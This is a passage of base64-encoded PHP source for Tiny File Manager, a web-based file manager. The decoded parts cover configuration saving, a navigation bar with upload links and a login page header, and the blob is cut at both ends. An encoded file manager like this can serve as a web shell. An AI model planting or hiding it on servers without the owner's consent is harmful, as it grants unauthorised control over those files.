yb290X3VybC4kX1NFUlZFUlsiUEhQX1NFTEYiXTsKICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KAogICAgICAgICAgICAnbGFuZycgPT4gJ2VuJywKICAgICAgICAgICAgJ2Vycm9yX3JlcG9ydGluZycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlCiAgICAgICAgKTsKICAgICAgICAkZGF0YSA9IGZhbHNlOwogICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHsKICAgICAgICAgICAgJGRhdGEgPSBmbV9vYmplY3RfdG9fYXJyYXkoanNvbl9kZWNvZGUoJENPTkZJRykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nOwogICAgICAgICAgICBpZiAoc3Vic3RyKCRmbV91cmwsIC0xKSA9PSAnLycpIHsKICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnLycpOwogICAgICAgICAgICAgICAgJG1zZyAuPSAnPGJyPic7CiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJzsKICAgICAgICAgICAgICAgICRtc2cgLj0gJzxicj5UcnkgdGhpcyBsaW5rOiA8YSBocmVmPSInIC4gJGZtX3VybCAuICciPicgLiAkZm1fdXJsIC4gJzwvYT4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRpZSgkbXNnKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzX2FycmF5KCRkYXRhKSAmJiBjb3VudCgkZGF0YSkpICR0aGlzLT5kYXRhID0gJGRhdGE7CiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhdmUoKQogICAgewogICAgICAgICRmbV9maWxlID0gX19GSUxFX187CiAgICAgICAgJHZhcl9uYW1lID0gJyRDT05GSUcnOwogICAgICAgICR2YXJfdmFsdWUgPSB2YXJfZXhwb3J0KGpzb25fZW5jb2RlKCR0aGlzLT5kYXRhKSwgdHJ1ZSk7CiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSAiPD9waHAiIC4gY2hyKDEzKSAuIGNocigxMCkgLiAiLy9EZWZhdWx0IENvbmZpZ3VyYXRpb24iLmNocigxMykgLiBjaHIoMTApLiIkdmFyX25hbWUgPSAkdmFyX3ZhbHVlOyIgLiBjaHIoMTMpIC4gY2hyKDEwKTsKICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGZtX2ZpbGUpKSB7CiAgICAgICAgICAgICRsaW5lcyA9IGZpbGUoJGZtX2ZpbGUpOwogICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCAidyIpKSB7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7CiAgICAgICAgICAgICAgICBmb3IgKCR4ID0gMzsgJHggPCBjb3VudCgkbGluZXMpOyAkeCsrKSB7CiAgICAgICAgICAgICAgICAgICAgQGZwdXRzKCRmaCwgJGxpbmVzWyR4XSwgc3RybGVuKCRsaW5lc1skeF0pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKCgovLy0tLSB0ZW1wbGF0ZXMgZnVuY3Rpb25zCgovKioKICogU2hvdyBuYXYgYmxvY2sKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKi8KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkKewogICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhcjsKICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJzsKICAgICRnZXRUaGVtZSA9IGZtX2dldF90aGVtZSgpOwogICAgJGdldFRoZW1lIC49ICIgbmF2YmFyLWxpZ2h0IjsKICAgIGlmKEZNX1RIRU1FID09ICJkYXJrIikgewogICAgICAgICRnZXRUaGVtZSAuPSAiIG5hdmJhci1kYXJrIjsKICAgIH0gZWxzZSB7CiAgICAgICAgJGdldFRoZW1lIC49ICIgYmctd2hpdGUiOwogICAgfQogICAgPz4KICAgIDxuYXYgY2xhc3M9Im5hdmJhciBuYXZiYXItZXhwYW5kLWxnIDw/cGhwIGVjaG8gJGdldFRoZW1lOyA/PiBtYi00IG1haW4tbmF2IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyID8+Ij4KICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSIiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8L2E+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLXRhcmdldD0iI25hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtY29udHJvbHM9Im5hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWxhYmVsPSJUb2dnbGUgbmF2aWdhdGlvbiI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgPC9idXR0b24+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpOwogICAgICAgICAgICAkcm9vdF91cmwgPSAiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSciIC4gRk1fUk9PVF9QQVRIIC4gIic+PC9pPjwvYT4iOwogICAgICAgICAgICAkc2VwID0gJzxpIGNsYXNzPSJicmVhZC1jcnVtYiI+IC8gPC9pPic7CiAgICAgICAgICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsKICAgICAgICAgICAgICAgICRjb3VudCA9IGNvdW50KCRleHBsb2RlZCk7CiAgICAgICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudCA9IHRyaW0oJHBhcmVudCAuICcvJyAuICRleHBsb2RlZFskaV0sICcvJyk7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7CiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSAiPGEgaHJlZj0nP3A9eyRwYXJlbnRfZW5jfSc+IiAuIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZXhwbG9kZWRbJGldKSkgLiAiPC9hPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wteHMtNiBjb2wtc20tNSI+JyAuICRyb290X3VybCAuICc8L2Rpdj4nOwogICAgICAgICAgICA/PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTYgY29sLXNtLTcgdGV4dC1yaWdodCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1uYXYgbXItYXV0byBmbG9hdC1yaWdodCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyAgPz4iPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0gbXItMiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIGlucHV0LWdyb3VwLXNtIG1yLTEiIHN0eWxlPSJtYXJnaW4tdG9wOjRweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtbGFiZWw9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1kZXNjcmliZWRieT0ic2VhcmNoLWFkZG9uMiIgaWQ9InNlYXJjaC1hZGRvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1hcHBlbmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IiBpZD0ic2VhcmNoLWFkZG9uMiI+PGkgY2xhc3M9ImZhIGZhLXNlYXJjaCI+PC9pPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIiBpZD0ic2VhcmNoLWFkZG9uMiIgZGF0YS10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ijw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz4iIGlkPSJqcy1zZWFyY2gtbW9kYWwiIGRhdGEtdG9nZ2xlPSJtb2RhbCIgZGF0YS10YXJnZXQ9IiNzZWFyY2hNb2RhbCI+QWR2YW5jZWQgU2VhcmNoPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7dXBsb2FkIj48aSBjbGFzcz0iZmEgZmEtY2xvdWQtdXBsb2FkIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz4iIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iI2NyZWF0ZU5ld0l0ZW0iIGRhdGEtdG9nZ2xlPSJtb2RhbCIgZGF0YS10YXJnZXQ9IiNjcmVhdGVOZXdJdGVtIj48aSBjbGFzcz0iZmEgZmEtcGx1cy1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05ld0l0ZW0nKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChGTV9VU0VfQVVUSCk6ID8+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBhdmF0YXIgZHJvcGRvd24iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2LWxpbmsgZHJvcGRvd24tdG9nZ2xlIiBpZD0ibmF2YmFyRHJvcGRvd25NZW51TGluay01IiBkYXRhLXRvZ2dsZT0iZHJvcGRvd24iIGFyaWEtaGFzcG9wdXA9InRydWUiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIj4gPGkgY2xhc3M9ImZhIGZhLXVzZXItY2lyY2xlIj48L2k+IDw/cGhwIGlmKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pKSB7IGVjaG8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXTsgfSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBhcmlhLWxhYmVsbGVkYnk9Im5hdmJhckRyb3Bkb3duTWVudUxpbmstNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtzZXR0aW5ncz0xIj48aSBjbGFzcz0iZmEgZmEtY29nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtoZWxwPTIiPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP2xvZ291dD0xIj48aSBjbGFzcz0iZmEgZmEtc2lnbi1vdXQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtzZXR0aW5ncz0xIj48aSBjbGFzcz0iZmEgZmEtY29nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KICAgIDw/cGhwCn0KCi8qKgogKiBTaG93IG1lc3NhZ2UgZnJvbSBzZXNzaW9uCiAqLwpmdW5jdGlvbiBmbV9zaG93X21lc3NhZ2UoKQp7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7CiAgICAgICAgJGNsYXNzID0gaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSkgPyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddIDogJ29rJzsKICAgICAgICBlY2hvICc8cCBjbGFzcz0ibWVzc2FnZSAnIC4gJGNsYXNzIC4gJyI+JyAuICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddIC4gJzwvcD4nOwogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTsKICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddKTsKICAgIH0KfQoKLyoqCiAqIFNob3cgcGFnZSBoZWFkZXIgaW4gTG9naW4gRm9ybQogKi8KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXJfbG9naW4oKQp7CiRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7CmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKZ2xvYmFsICRsYW5nLCAkcm9vdF91cmwsICRmYXZpY29uX3BhdGg7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoJGZhdmljb25fcGF0aCkgPz4iIHR5cGU9ImltYWdlL3BuZyI+CiAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuNS4wL2Nzcy9ib290c3RyYXAubWluLmNzcyI+CiAgICA8c3R5bGU+CiAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdleyBiYWNrZ3JvdW5kLWNvbG9yOiNmN2Y5ZmI7Zm9udC1zaXplOjE0cHg7YmFja2dyb3VuZC1jb2xvcjojZjdmOWZiO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN